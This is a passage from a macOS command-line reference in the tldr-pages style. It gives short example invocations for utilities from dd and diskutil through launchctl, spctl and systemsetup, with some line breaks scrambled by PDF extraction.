• Display a specific date (represented as a Unix timestamp) using the default format:

date -r 1473305798
dd
Convert and copy a file.

More information: https://ss64.com/osx/dd.html.

• Make a bootable USB drive from an isohybrid file (such like archlinux-
xxx.iso):

dd if={{file.iso}} of=/dev/{{usb_drive}}

• Clone a drive to another drive with 4 MB block and ignore error:

dd if=/dev/{{source_drive}} of=/dev/{{dest_drive}} bs=4m


conv=noerror

• Generate a file of 100 random bytes by using kernel random driver:

dd if=/dev/urandom of={{random_file}} bs=100 count=1

• Benchmark the write performance of a disk:

dd if=/dev/zero of={{file_1GB}} bs=1024 count=1000000


defaults
Read and write macOS user configuration for applications.

More information: https://ss64.com/osx/defaults.html.

• Read system defaults for an application option:

defaults read {{application}} {{option}}

• Read default values for an application option:

defaults read -app {{application}} {{option}}

• Search for a keyword in domain names, keys, and values:

defaults find {{keyword}}

• Write the default value of an application option:

defaults write {{application}} {{option}} {{-type}} {{value}}

• Speed up Mission Control animations:

defaults write com.apple.Dock expose-animation-duration -


float 0.1

• Delete all defaults of an application:

defaults delete {{application}}


diskutil
Utility to manage local disks and volumes.

More information: https://ss64.com/osx/diskutil.html.

• List all currently available disks, partitions and mounted volumes:

diskutil list

• Repair the filesystem data structures of a volume:

diskutil repairVolume {{/dev/diskX}}

• Unmount a volume:

diskutil unmountDisk {{/dev/diskX}}

• Eject a CD/DVD (unmount first):

diskutil eject {{/dev/disk1}}


distnoted
Provides distributed notification services.

It should not be invoked manually.

• Start the daemon:

distnoted
ditto
Copy files and directories.

More information: https://ss64.com/osx/ditto.html.

• Overwrite contents of destination directory with contents of source directory:

ditto {{path/to/source}} {{path/to/destination}}

• Print a line to the Terminal window for every file that's being copied:

ditto -V {{path/to/source}} {{path/to/destination}}

• Copy a given file or directory, while retaining the original file permissions:

ditto -rsrc {{path/to/source}} {{path/to/destination}}


dmesg
Write the kernel messages to standard output.

• Show kernel messages:

dmesg

• Show how much physical memory is available on this system:

dmesg | grep -i memory

• Show kernel messages 1 page at a time:

dmesg | less
dot_clean
Merge ._* files with corresponding native files.

More information: https://ss64.com/osx/dot_clean.html.

• Merge all ._* files recursively:

dot_clean {{path/to/directory}}

• Don't recursively merge all ._* in a directory (flat merge):

dot_clean -f {{path/to/directory}}

• Merge and delete all ._* files:

dot_clean -m {{path/to/directory}}

• Only delete ._* files if there's a matching native file:

dot_clean -n {{path/to/directory}}

• Follow symlinks:

dot_clean -s {{path/to/directory}}

• Print verbose output:

dot_clean -v {{path/to/directory}}
drutil
Interact with DVD burners.

More information: https://ss64.com/osx/drutil.html.

• Eject a disk from the drive:

drutil eject

• Burn a directory as an ISO9660 filesystem onto a DVD. Don't verify and eject when
complete:

drutil burn -noverify -eject -iso9660


du
Disk usage: estimate and summarize file and directory space usage.

More information: https://ss64.com/osx/du.html.

• List the sizes of a directory and any subdirectories, in the given unit (KiB/MiB/
GiB):

du -{{k|m|g}} {{path/to/directory}}

• List the sizes of a directory and any subdirectories, in human-readable form (i.e.
auto-selecting the appropriate unit for each size):

du -h {{path/to/directory}}

• Show the size of a single directory, in human-readable units:

du -sh {{path/to/directory}}

• List the human-readable sizes of a directory and of all the files and directories
within it:

du -ah {{path/to/directory}}

• List the human-readable sizes of a directory and any subdirectories, up to N levels


deep:

du -h -d {{N}} {{path/to/directory}}

• List the human-readable size of all .jpg files in subdirectories of the current
directory, and show a cumulative total at the end:

du -ch {{*/*.jpg}}
duti
Set default applications for document types and URL schemes on macOS.

More information: https://github.com/moretension/duti.

• Set Safari as the default handler for HTML documents:

duti -s {{com.apple.Safari}} {{public.html}} all

• Set VLC as the default viewer for files with .m4v extensions:

duti -s {{org.videolan.vlc}} {{m4v}} viewer

• Set Finder as the default handler for the ftp:// URL scheme:

duti -s {{com.apple.Finder}} {{ftp}}

• Display information about the default application for a given extension:

duti -x {{ext}}

• Display the default handler for a given UTI:

duti -d {{uti}}

• Display all handlers of a given UTI:

duti -l {{uti}}
emond
Event Monitor service that accepts events from various services, runs them through a
simple rules engine, and takes action.

The actions can run commands, send email, or SMS messages.

More information: https://www.xorrior.com/emond-persistence/.

• Start the daemon:

emond

• Specify rules for emond to process by giving a path to a file or directory:

emond -r {{path/to/file_or_directory}}

• Use a specific configuration file:

emond -c {{path/to/config}}
fdesetup
Set and retrieve FileVault related information.

Main information: https://www.unix.com/man-page/mojave/8/fdesetup/.

• List current FileVault enabled users:

sudo fdesetup list

• Get current FileVault status:

fdesetup status

• Add FileVault enabled user:

sudo fdesetup add -usertoadd user1

• Enable FileVault:

sudo fdesetup enable

• Disable FileVault:

sudo fdesetup disable


filecoordinationd
Coordinates access to files by multiple processes (NSFileCoordinator,
NSFilePresenter).

It should not be invoked manually.

• Start the daemon:

filecoordinationd
fileicon
A macOS CLI to manage custom file and folder icons.

More information: https://github.com/mklement0/fileicon.

• Set a custom icon for a specific file or directory:

fileicon set {{path/to/file_or_directory}} {{path/to/


icon.png}}

• Remove a custom icon from a specific file or directory:

fileicon rm {{path/to/file_or_directory}}

• Save the custom icon of a file or directory as a .icns file into the current
directory:

fileicon get {{path/to/file_or_directory}}

• Test if a specific file or directory has a custom icon:

fileicon test {{path/to/file_or_directory}}


fsck
Check the integrity of a filesystem or repair it. The filesystem should be unmounted at
the time the command is run.

It is a wrapper that calls fsck_hfs, fsck_apfs, fsck_msdos, fsck_exfat, and


fsck_udf as needed.

More information: https://ss64.com/osx/fsck.html.

• Check filesystem /dev/sdX, reporting any damaged blocks:

fsck {{/dev/sdX}}

• Check filesystem /dev/sdX only if it is clean, reporting any damaged blocks and
interactively letting the user choose to repair each one:

fsck -f {{/dev/sdX}}

• Check filesystem /dev/sdX only if it is clean, reporting any damaged blocks and
automatically repairing them:

fsck -fy {{/dev/sdX}}

• Check filesystem /dev/sdX, reporting whether it has been cleanly unmounted:

fsck -q {{/dev/sdX}}
GetFileInfo
Get information about a file in an HFS+ directory.

More information: https://www.unix.com/man-page/osx/1/GetFileInfo/.

• Display information about a given file:

GetFileInfo {{path/to/filename}}

• Display the date and time a given file was created:

GetFileInfo -d {{path/to/filename}}

• Display the date and time a given file was last modified:

GetFileInfo -m {{path/to/filename}}

• Display the creator of a given file:

GetFileInfo -c {{path/to/filename}}
hdiutil
Utility to create and manage disk images.

More information: https://ss64.com/osx/hdiutil.html.

• Mount an image:

hdiutil attach {{path/to/image_file}}

• Unmount an image:

hdiutil detach /Volumes/{{volume_name}}

• List mounted images:

hdiutil info

• Create an ISO image from the contents of a directory:

hdiutil makehybrid -o {{path/to/output_file}} {{path/to/


directory}}
head
Output the first part of files.

More information: https://ss64.com/osx/head.html.

• Output the first few lines of a file:

head -n {{count_of_lines}} {{filename}}

• Output the first few bytes of a file:

head -c {{number_in_bytes}} {{filename}}


icalBuddy
Command-line utility for printing events and tasks from the macOS calendar database.

More information: https://hasseg.org/icalBuddy/.

• Show events later today:

icalBuddy -n eventsToday

• Show uncompleted tasks:

icalBuddy uncompletedTasks

• Show a formatted list separated by calendar for all events today:

icalBuddy -f -sc eventsToday

• Show tasks for a specified number of days:

icalBuddy -n tasksDueBefore:today+{{days}}

• Show events in a time range:

icalBuddy eventsFrom:'{{start_date}}' to:'{{end_date}}'


imgcat
A utility to display images directly on the command-line.

Requires a compatible terminal such as iTerm2.

More information: https://github.com/danielgatis/imgcat.

• Display an image on the command-line:

imgcat {{filename}}
indent
Change the appearance of a C/C++ program by inserting or deleting whitespace.

More information: https://www.freebsd.org/cgi/man.cgi?query=indent.

• Format C/C++ source according to the Berkeley style:

indent {{path/to/source.c}} {{path/to/indented_source.c}} -


nbad -nbap -bc -br -c33 -cd33 -cdb -ce -ci4 -cli0 -di16 -fc1
-fcb -i4 -ip -l75 -lp -npcs -nprs -psl -sc -nsob -ts8

• Format C/C++ source according to the style of Kernighan & Ritchie (K&R):

indent {{path/to/source.c}} {{path/to/indented_source.c}} -


nbad -bap -nbc -br -c33 -cd33 -ncdb -ce -ci4 -cli0 -cs -d0 -
di1 -nfc1 -nfcb -i4 -nip -l75 -lp -npcs -nprs -npsl -nsc -
nsob
istats
CLI tool that shows statistics such as CPU temperature, fan speeds and battery status.

More information: https://github.com/Chris911/iStats.

• Show all the stats:

istats

• Show all CPU stats:

istats cpu

• Show all fan stats:

istats fan

• Scan and print temperatures:

istats scan
launchctl
A command-line interface to Apple's launchd manager for launch daemons (system-
wide services) and launch agents (per-user programs).

launchd loads XML-based *.plist files placed in the appropriate locations, and runs
the corresponding commands according to their defined schedule.

More information: https://manned.org/launchctl.

• Activate a user-specific agent to be loaded into launchd whenever the user logs
in:

launchctl load ~/Library/LaunchAgents/{{my_script}}.plist

• Activate an agent which requires root privileges to run and/or should be loaded
whenever any user logs in (note the absence of ~ in the path):

sudo launchctl load /Library/LaunchAgents/


{{root_script}}.plist

• Activate a system-wide daemon to be loaded whenever the system boots up (even


if no user logs in):

sudo launchctl load /Library/LaunchDaemons/


{{system_daemon}}.plist

• Show all loaded agents/daemons, with the PID if the process they specify is
currently running, and the exit code returned the last time they ran:

launchctl list

• Unload a currently loaded agent, e.g. to make changes (note: the plist file is
automatically loaded into launchd after a reboot and/or logging in):

launchctl unload ~/Library/LaunchAgents/{{my_script}}.plist

• Manually run a known (loaded) agent/daemon, even if it is not the right time
(note: this command uses the agent's label, rather than the filename):

launchctl start {{my_script}}

• Manually kill the process associated with a known agent/daemon, if it is running:

launchctl stop {{my_script}}


launchd
This manages processes, both for the system and users.

You cannot invoke launchd manually, use launchctl to interact with it.

More information: https://developer.apple.com/library/archive/documentation/


MacOSX/Conceptual/BPSystemStartup/Chapters/Introduction.html.

• Run init:

/sbin/launchd

• View documentation for interacting with launchd using launchctl:

tldr launchctl
lipo
Tool for handling Mach-O Universal Binaries.

More information: https://ss64.com/osx/lipo.html.

• Create a universal file from two single-architecture files:

lipo {{path/to/binary.x86_64}} {{path/to/binary.arm64e}} -


create -output {{path/to/binary}}

• List all architectures contained in a universal file:

lipo {{path/to/binary}} -archs

• Display detailed information about a universal file:

lipo {{path/to/binary}} -detailed_info

• Extract a single-architecture file from a universal file:

lipo {{path/to/binary}} -thin {{arm64e}} -output {{path/to/


binary.arm64e}}
lldb
The LLVM Low-Level Debugger.

More information: https://lldb.llvm.org.

• Debug an executable:

lldb {{executable}}

• Attach lldb to a running process with a given PID:

lldb -p {{pid}}

• Wait for a new process to launch with a given name, and attach to it:

lldb -w -n {{process_name}}
locate
Find filenames quickly.

More information: https://manned.org/locate.

• Look for pattern in the database. Note: the database is recomputed periodically
(usually weekly or daily):

locate {{pattern}}

• Look for a file by its exact filename (a pattern containing no globbing characters is
interpreted as *pattern*):

locate */{{filename}}

• Recompute the database. You need to do it if you want to find recently added files:

sudo /usr/libexec/locate.updatedb
log
View, export, and configure logging systems.

More information: https://www.dssw.co.uk/reference/log.html.

• Stream live system logs:

log stream

• Stream logs sent to syslog from the process with a specific PID:

log stream --process {{process_id}}

• Show logs sent to syslog from a process with a specific name:

log show --predicate "process == '{{process_name}}'"

• Export all logs to disk for the past hour:

sudo log collect --last {{1h}} --output {{path/to/


file.logarchive}}
look
Look for lines in sorted file.

More information: https://manned.org/look.

• Look for lines which begins with the given prefix:

look {{prefix}} {{file}}

• Look for lines ignoring case:

look -f {{prefix}} {{file}}


m
Swiss Army Knife for macOS.

More information: https://github.com/rgcr/m-cli.

• Get the battery status:

m battery status

• Turn off Bluetooth:

m bluetooth off

• List available filesystems for formatting:

m disk filesystems

• Enable Dock's auto hide feature:

m dock autohide YES

• Disable the firewall:

m firewall disable
machine
Print machine type.

More information: https://manned.org/machine.

• Print CPU architecture:

machine
mas
Command-line interface for the Mac App Store.

More information: https://github.com/mas-cli/mas.

• Sign into the Mac App Store for the first time:

mas signin {{user@example.com}}

• Show all installed applications and their product identifiers:

mas list

• Search for an application, displaying the price alongside the results:

mas search {{application}} --price

• Install or update an application:

mas install {{product_identifier}}

• Install all pending updates:

mas upgrade
md5
Calculate MD5 cryptographic checksums.

More information: https://ss64.com/osx/md5.html.

• Calculate the MD5 checksum for a file:

md5 {{filename}}

• Calculate MD5 checksums for multiple files:

md5 {{filename1}} {{filename2}}

• Output only the md5 checksum (no filename):

md5 -q {{filename}}

• Print a checksum of the given string:

md5 -s {{string}}
mdfind
List files matching a given query.

More information: https://ss64.com/osx/mdfind.html.

• Find a file by its name:

mdfind -name {{file}}

• Find a file by its content:

mdfind {{query}}

• Find a file containing a string, in a given directory:

mdfind -onlyin {{directory}} {{query}}


mdls
Display the metadata attributes for a file.

More information: https://ss64.com/osx/mdls.html.

• Display the list of metadata attributes for file:

mdls {{path/to/file}}

• Display a specific metadata attribute:

mdls -name {{attribute}} {{path/to/file}}


mdutil
Manage the metadata stores used by Spotlight for indexing.

More information: https://ss64.com/osx/mdutil.html.

• Show the indexing status of the startup volume:

mdutil -s {{/}}

• Turn on/off the Spotlight indexing for a given volume:

mdutil -i {{on|off}} {{path/to/volume}}

• Turn on/off indexing for all volumes:

mdutil -a -i {{on|off}}

• Erase the metadata stores and restart the indexing process:

mdutil -E {{path/to/volume}}
mkfile
Create one or more empty files of any size.

More information: https://ss64.com/osx/mkfile.html.

• Create an empty file of 15 kilobytes:

mkfile -n {{15k}} {{filename}}

• Create a file of a given size and unit (bytes, KB, MB, GB):

mkfile -n {{size}}{{b|k|m|g}} {{filename}}

• Create two files of 4 megabytes each:

mkfile -n {{4m}} {{first_filename}} {{second_filename}}


nettop
Display updated information about the network.

• Monitor TCP and UDP sockets from all interfaces:

nettop

• Monitor TCP sockets from Loopback interfaces:

nettop -m {{tcp}} -t {{loopback}}

• Monitor a specific process:

nettop -p {{process_id|process_name}}

• Display a per-process summary:

nettop -P

• Print 10 samples of network information:

nettop -l {{10}}

• Monitor changes every 5 seconds:

nettop -d -s {{5}}

• While running nettop, list interactive commands:

• Display help:

nettop -h
networkQuality
Measure the network quality by connecting to the internet.

More information: https://support.apple.com/HT212313.

• Test the network quality for the default interface:

networkQuality

• Test the upload and download speeds sequentially instead of in parallel:

networkQuality -s

• Test a specified network interface:

networkQuality -I {{en0}}

• Test the network quality with verbose output:

networkQuality -v
networksetup
Configuration tool for Network System Preferences.

• List available network service providers (Ethernet, Wi-Fi, Bluetooth, etc):

networksetup -listallnetworkservices

• Show network settings for a particular networking device:

networksetup -getinfo "{{Wi-Fi}}"

• Get currently connected Wi-Fi network name (Wi-Fi device usually en0 or en1):

networksetup -getairportnetwork {{en0}}

• Connect to a particular Wi-Fi network:

networksetup -setairportnetwork {{en0}} "{{Airport Network


SSID}}" {{password}}
notifyd
Notification server.

It should not be invoked manually.

• Start the daemon:

notifyd

• Log debug messages to the default log file (/var/log/notifyd.log):

notifyd -d

• Log debug messages to an alternate log file:

notifyd -d -log_file {{path/to/log}}


nvram
Manipulate firmware variables.

More information: https://ss64.com/osx/nvram.html.

• [p]rint all the variables stored in the NVRAM:

nvram -p

• [p]rint all the variables stored in the NVRAM using [x]ML format:

nvram -xp

• Modify the value of a firmware variable:

sudo nvram {{name}}="{{value}}"

• [d]elete a firmware variable:

sudo nvram -d {{name}}

• [c]lear all the firmware variables:

sudo nvram -c

• Set a firmware variable from a specific [x]ML [f]ile:

sudo nvram -xf {{path/to/file.xml}}


oathtool
OATH one-time password tool.

• Generate TOTP token (behaves like Google Authenticator):

oathtool --totp --base32 {{secret}}

• Generate a TOTP token for a specific time:

oathtool --totp --now {{2004-02-29 16:21:42}} --base32


{{secret}}

• Validate a TOTP token:

oathtool --totp --base32 {{secret}} {{token}}


ocspd
This retrieves and caches Certificate Revocation Lists (CRLs) and Online Certificate
Status Protocol (OCSP) responses for certificate verification.

It should not be invoked manually.

• Start the daemon:

ocspd
open
Opens files, directories and applications.

• Open a file with the associated application:

open {{file.ext}}

• Run a graphical macOS application:

open -a {{Application}}

• Run a graphical macOS app based on the bundle identifier (refer to osascript
for an easy way to get this):

open -b {{com.domain.application}}

• Open the current directory in Finder:

open .

• Reveal a file in Finder:

open -R {{path/to/file}}

• Open all the files of a given extension in the current directory with the associated
application:

open {{*.ext}}
opensnoop
Tool that tracks file opens on your system.

• Print all file opens as they occur:

sudo opensnoop

• Track all file opens by a process by name:

sudo opensnoop -n {{process_name}}

• Track all file opens by a process by PID:

sudo opensnoop -p {{PID}}

• Track which processes open a specified file:

sudo opensnoop -f {{path/to/file}}


osascript
Run AppleScript or JavaScript for Automation (JXA) from the command-line.

More information: https://ss64.com/osx/osascript.html.

• Run an AppleScript command:

osascript -e '{{say "Hello world"}}'

• Run multiple AppleScript commands:

osascript -e '{{say "Hello"}}' -e '{{say "world"}}'

• Run a compiled (*.scpt), bundled (*.scptd), or plaintext (*.applescript)


AppleScript file:

osascript {{path/to/apple.scpt}}

• Get the bundle identifier of an application (useful for open -b):

osascript -e 'id of app "{{Application}}"'

• Run a JavaScript command:

osascript -l JavaScript -e '{{console.log("Hello world");}}'

• Run a JavaScript file:

osascript -l JavaScript {{path/to/script.js}}


pbcopy
Place standard output in the clipboard.

• Place the contents of a file in the clipboard:

pbcopy < {{file}}

• Place the results of a command in the clipboard:

find . -type t -name "*.png" | pbcopy


pbpaste
Send the contents of the clipboard to standard output.

• Write the contents of the clipboard to a file:

pbpaste > {{file}}

• Use the contents of the clipboard as input to a command:

pbpaste | grep foo


photoanalysisd
This analyzes photo libraries for Memories, People, and scene or object based search.

It should not be invoked manually.

• Start the daemon:

photoanalysisd
photolibraryd
This handles all photo library requests.

It should not be invoked manually.

• Start the daemon:

photolibraryd
ping
Send ICMP ECHO_REQUEST packets to network hosts.

• Ping the specified host:

ping {{host}}

• Ping a host a specific number of times:

ping -c {{count}} {{host}}

• Ping host, specifying the interval in seconds between requests (default is 1


second):

ping -i {{seconds}} {{host}}

• Ping host without trying to lookup symbolic names for addresses:

ping -n {{host}}

• Ping host and ring the bell when a packet is received (if your terminal supports
it):

ping -a {{host}}

• Ping host and prints the time a packet was received (this option is an Apple
addition):

ping --apple-time {{host}}


pkgutil
Query and manipulate Mac OS X Installer packages and receipts.

• List package IDs for all installed packages:

pkgutil --pkgs

• Verify cryptographic signatures of a package file:

pkgutil --check-signature {{path/to/filename.pkg}}

• List all the files for an installed package given its ID:

pkgutil --files {{com.microsoft.Word}}

• Extract the contents of a package file into a directory:

pkgutil --expand-full {{path/to/filename.pkg}} {{path/to/


directory}}
plutil
View, convert, validate, or edit property list ("plist") files.

• Display the contents of one or more plist files in human-readable format:

plutil -p {{file1.plist file2.plist ...}}

• Convert one or more plist files to XML format, overwriting the original files in-
place:

plutil -convert xml1 {{file1.plist file2.plist ...}}

• Convert one or more plist files to binary format, overwriting the original files in-
place:

plutil -convert binary1 {{file1.plist file2.plist ...}}

• Convert a plist file to a different format, writing to a new file:

plutil -convert {{xml1|binary1|json|swift|objc}} {{path/to/


file.plist}} -o {{path/to/new_file.plist}}

• Convert a plist file to a different format, writing to stdout:

plutil -convert {{xml1|binary1|json|swift|objc}} {{path/to/


file.plist}} -o -
pmset
Configure macOS power management settings, as one might do in System Preferences >
Energy Saver.

Commands that modify settings must begin with sudo.

More information: https://ss64.com/osx/pmset.html.

• Display the current power management settings:

pmset -g

• Display the current power source and battery levels:

pmset -g batt

• Put display to sleep immediately:

pmset displaysleepnow

• Set display to never sleep when on charger power:

sudo pmset -c displaysleep 0

• Set display to sleep after 15 minutes when on battery power:

sudo pmset -b displaysleep 15

• Schedule computer to automatically wake up every weekday at 9 AM:

sudo pmset repeat wake MTWRF 09:00:00

• Restore to system defaults:

sudo pmset -a displaysleep 10 disksleep 10 sleep 30 womp 1


pod
Dependency manager for Swift and Objective-C Cocoa projects.

• Create a Podfile for the current project with the default contents:

pod init

• Download and install all pods defined in the Podfile (that haven't been installed
before):

pod install

• List all available pods:

pod list

• Show the outdated pods (of those currently installed):

pod outdated

• Update all currently installed pods to their newest version:

pod update

• Update a specific (previously installed) pod to its newest version:

pod update {{pod_name}}

• Remove CocoaPods from a Xcode project:

pod deintegrate {{xcode_project}}


port
Package manager for macOS.

• Search for a package:

port search {{search_term}}

• Install a package:

sudo port install {{package_name}}

• List installed packages:

port installed

• Update port and fetch the latest list of available packages:

sudo port selfupdate

• Upgrade outdated packages:

sudo port upgrade outdated

• Remove old versions of installed packages:

sudo port uninstall inactive


qlmanage
QuickLook server tool.

• Display QuickLook for one or multiple files:

qlmanage -p {{filename}} {{filename2}}

• Compute 300px wide PNG thumbnails of all JPEGs in the current directory and put
them in a directory:

qlmanage {{*.jpg}} -t -s {{300}} {{path/to/directory}}

• Reset QuickLook:

qlmanage -r
readlink
Follow symlinks and get symlink information.

More information: https://www.gnu.org/software/coreutils/readlink.

• Print the absolute path which the symlink points to:

readlink {{path/to/symlink}}
reboot
Reboot the system.

• Reboot immediately:

sudo reboot

• Reboot immediately without gracefully shutting down:

sudo reboot -q
rename
Rename a file or group of files with a regular expression.

• Replace from with to in the filenames of the specified files:

rename 's/{{from}}/{{to}}/' {{*.txt}}


route
Manually manipulate the routing tables.

Necessitates to be root.

• Add a route to a destination through a gateway:

sudo route add {{dest_ip_address}} {{gateway_address}}

• Add a route to a /24 subnet through a gateway:

sudo route add {{subnet_ip_address}}/24 {{gateway_address}}

• Run in test mode (does not do anything, just print):

sudo route -t add {{dest_ip_address}}/24 {{gateway_address}}

• Remove all routes:

sudo route flush

• Delete a specific route:

sudo route delete {{dest_ip_address}}/24

• Lookup and display the route for a destination (hostname or IP address):

sudo route get {{destination}}


rubocop
Lint Ruby files.

• Check all files in the current directory (including subdirectories):

rubocop

• Check one or more specific files or directories:

rubocop {{path/to/file}} {{path/to/directory}}

• Write output to file:

rubocop --out {{path/to/file}}

• View list of cops (linter rules):

rubocop --show-cops

• Exclude a cop:

rubocop --except {{cop_1}} {{cop_2}}

• Run only specified cops:

rubocop --only {{cop_1}} {{cop_2}}

• Auto-correct files (experimental):

rubocop --auto-correct
SafeEjectGPU
Eject a GPU safely.

Visit the man page for more info.

• Eject all GPUs:

SafeEjectGPU Eject

• List all GPUs attached:

SafeEjectGPU gpus

• List apps using a GPU:

SafeEjectGPU gpuid {{GPU_ID}} apps

• Get the status of a GPU:

SafeEjectGPU gpuid {{GPU_ID}} status

• Eject a GPU:

SafeEjectGPU gpuid {{GPU_ID}} Eject

• Launch an app on a GPU:

SafeEjectGPU gpuid {{GPU_ID}} LaunchOnGPU {{path/to/App.app}}


say
Converts text to speech.

More information: https://ss64.com/osx/say.html.

• Say a phrase aloud:

say "{{I like to ride my bike.}}"

• Read a file aloud:

say -f {{filename.txt}}

• Say a phrase with a custom voice and speech rate:

say -v {{voice}} -r {{words_per_minute}} "{{I'm sorry Dave, I


can't let you do that.}}"

• List the available voices:

say -v "?"

• Create an audio file of the spoken text:

say -o {{filename.aiff}} "{{Here's to the Crazy Ones.}}"


screencapture
Utility to take screenshots and screen recordings.

More information: https://ss64.com/osx/screencapture.html.

• Take a screenshot and save it to a file:

screencapture {{path/to/file.png}}

• Take a screenshot including the mouse cursor:

screencapture -C {{path/to/file.png}}

• Take a screenshot and open it in Preview, instead of saving:

screencapture -P

• Take a screenshot of a selected rectangular area:

screencapture -i {{path/to/file.png}}

• Take a screenshot after a delay:

screencapture -T {{seconds}} {{path/to/file.png}}

• Make a screen recording and save it to a file:

screencapture -v {{path/to/file.mp4}}
scutil
Manage system configuration parameters.

Necessitates to be root when setting configuration.

More information: https://ss64.com/osx/scutil.html.

• Display DNS Configuration:

scutil --dns

• Display proxy configuration:

scutil --proxy

• Get computer name:

scutil --get ComputerName

• Set computer name:

sudo scutil --set ComputerName {{computer_name}}

• Get hostname:

scutil --get HostName

• Set hostname:

scutil --set HostName {{hostname}}


secd
Controls access to and modification of keychain items.

It should not be invoked manually.

• Start the daemon:

secd
security
Administer Keychains, keys, certificates and the Security framework.

More information: https://ss64.com/osx/security.html.

• List the available keychains:

security list-keychains

• Delete a specific keychain:

security delete-keychain {{path}}

• Create a keychain:

security create-keychain -p {{password}} {{keychain.name}}

• Set a certificate to use with a website or [s]ervice by its [c]ommon name (fails if
several certificates with the same common name exist):

security set-identity-preference -s {{URL|hostname|service}}


-c "{{common_name}}" {{path/to/file.keychain}}

• Add a certificate from file to a [k]eychain (if -k isn't specified, the default keychain
is used):

security add-certificates -k {{keychain.name}} {{path/to/


file.pem}}
securityd
This manages security contexts and cryptographic operations.

Works with secd for keychain access.

It should not be invoked manually.

• Start the daemon:

securityd
sed
Edit text in a scriptable manner.

More information: https://ss64.com/osx/sed.html.

• Replace the first occurrence of a string in a file, and print the result:

sed 's/{{find}}/{{replace}}/' {{filename}}

• Replace all occurrences of an extended regular expression in a file:

sed -E 's/{{regular_expression}}/{{replace}}/g' {{filename}}

• Replace all occurrences of a string [i]n a file, overwriting the file (i.e. in-place):

sed -i '' 's/{{find}}/{{replace}}/g' {{filename}}

• Replace only on lines matching the line pattern:

sed '/{{line_pattern}}/s/{{find}}/{{replace}}/' {{filename}}

• Print only text between n-th line till the next empty line:

sed -n '{{line_number}},/^$/p' {{filename}}

• Apply multiple find-replace expressions to a file:

sed -e 's/{{find}}/{{replace}}/' -e 's/{{find}}/{{replace}}/'


{{filename}}

• Replace separator / by any other character not used in the find or replace patterns,
e.g. #:

sed 's#{{find}}#{{replace}}#' {{filename}}

• [d]elete the line at the specific line number [i]n a file, overwriting the file:

sed -i '' '{{line_number}}d' {{filename}}


shuf
Generate random permutations.

• Randomize the order of lines in a file and output the result:

shuf {{filename}}

• Only output the first 5 entries of the result:

shuf -n {{5}} {{filename}}

• Write output to another file:

shuf {{filename}} -o {{output_filename}}

• Generate random numbers in range 1-10:

shuf -i {{1-10}}
shutdown
Shutdown and reboot the system.

More information: https://ss64.com/osx/shutdown.html.

• Power off (halt) immediately:

shutdown -h now

• Sleep immediately:

shutdown -s now

• Reboot immediately:

shutdown -r now

• Reboot in 5 minutes:

shutdown -r +{{5}}

• Power off (halt) at 1:00 pm (Uses 24h clock):

shutdown -h {{1300}}

• Reboot on May 10th 2042 at 11:30 am (Input format: YYMMDDHHMM):

shutdown -r {{4205101130}}
sips
Apple Scriptable Image Processing System.

Raster/Query images and ColorSync ICC Profiles.

• Specify an output directory so that originals do not get modified:

sips --out {{path/to/out_dir}}

• Resample image at specified size, Image aspect ratio may be altered:

sips -z {{1920}} {{300}} {{image.ext}}

• Resample image so height and width aren't greater than specified size (notice the
capital Z):

sips -Z {{1920}} {{300}} {{image.ext}}

• Resample all images in a directory to fit a width of 960px (honoring aspect ratio):

sips --resampleWidth {{960}} {{path/to/images}}

• Convert an image from CMYK to RGB:

sips --matchTo '/System/Library/ColorSync/Profiles/Generic


RGB Profile.icc' {{path/to/image.ext}} {{path/to/out_dir}}

• Remove ColorSync ICC profile from an image:

sips -d profile --deleteColorManagementProperties {{path/to/


image.ext}}
sntpd
An SNTP server.

It should not be invoked manually.

• Start the daemon:

sntpd

• Overwrite existing state with the local clock (stratum 1), for running a master/
primary server, without synchronizing with another (higher stratum) server:

sntpd -L

• Use a custom file for the SNTP state:

sntpd -z {{path/to/state.bin}}
softwareupdate
A tool for updating macOS App Store apps via the command-line.

• List all available updates:

softwareupdate -l

• Download and install all updates:

softwareupdate -ia

• Download and install all recommended updates:

softwareupdate -ir

• Download and install a specific app:

softwareupdate -i {{update_name}}
spctl
Manage the security assessment policy subsystem.

Utility for managing Gatekeeper in macOS.

More information: https://www.unix.com/man-page/osx/8/SPCTL/.

• Turn off Gatekeeper:

spctl --master-disable

• Add a rule to allow an application to run (labeling of rule is optional):

spctl --add --label "{{rule_name}}" {{path/to/file}}

• Turn on Gatekeeper:

spctl --master-enable

• List all rules on the system:

spctl --list
split
Split a file into pieces.

• Split a file, each split having 10 lines (except the last split):

split -l {{10}} {{filename}}

• Split a file by a regular expression. The matching line will be the first line of the
next output file:

split -p {{cat|^[dh]og}} {{filename}}

• Split a file with 512 bytes in each split (except the last split; use 512k for kilobytes
and 512m for megabytes):

split -b {{512}} {{filename}}


spotify
A command-line interface to Spotify.

More information: https://github.com/hnarayanan/shpotify.

• Find a song by name and play it:

spotify play {{song_name}}

• Find a playlist by name and play it:

spotify play list {{playlist_name}}

• Pause (or resume) playback:

spotify pause

• Skip to the next song in a playlist:

spotify next

• Change volume:

spotify vol {{up|down|value}}

• Show the playback status and song details:

spotify status
stat
Display file status.

More information: https://ss64.com/osx/stat.html.

• Show file properties such as size, permissions, creation and access dates among
others:

stat {{file}}

• Same as above but verbose (more similar to Linux's stat):

stat -x {{file}}

• Show only octal file permissions:

stat -f %Mp%Lp {{file}}

• Show owner and group of the file:

stat -f "%Su %Sg" {{file}}

• Show the size of the file in bytes:

stat -f "%z %N" {{file}}


sw_vers
Print macOS operating system version information.

More information: https://ss64.com/osx/sw_vers.html.

• Print all available information (OS name, version number, and build):

sw_vers

• Print only the version number of the operating system:

sw_vers -productVersion

• Print only the build identifier:

sw_vers -buildVersion
sysctl
Access kernel state information.

More information: https://ss64.com/osx/sysctl.html.

• Show all available variables and their values:

sysctl -a

• Show Apple model identifier:

sysctl -n hw.model

• Show CPU model:

sysctl -n machdep.cpu.brand_string

• Show available CPU features (MMX, SSE, SSE2, SSE3, AES, etc):

sysctl -n machdep.cpu.features

• Set a changeable kernel state variable:

sysctl -w {{section.tunable}}={{value}}
system_profiler
Report system hardware and software configuration.

More information: https://ss64.com/osx/system_profiler.html.

• Display a full system profiler report which can be opened by System Profiler.app:

system_profiler -xml > MyReport.spx

• Display a hardware overview (Model, CPU, Memory, Serial, etc):

system_profiler SPHardwareDataType

• Print the system serial number:

system_profiler SPHardwareDataType|grep "Serial Number


(system)" |awk '{print $4}'
systemsetup
Configure System Preferences machine settings.

More information: https://ss64.com/osx/systemsetup.html.

• Enable remote login (SSH):

systemsetup -setremotelogin on

• Specify timezone, NTP Server and enable network time:

systemsetup -settimezone {{US/Pacific}} -setnetworktimeserver


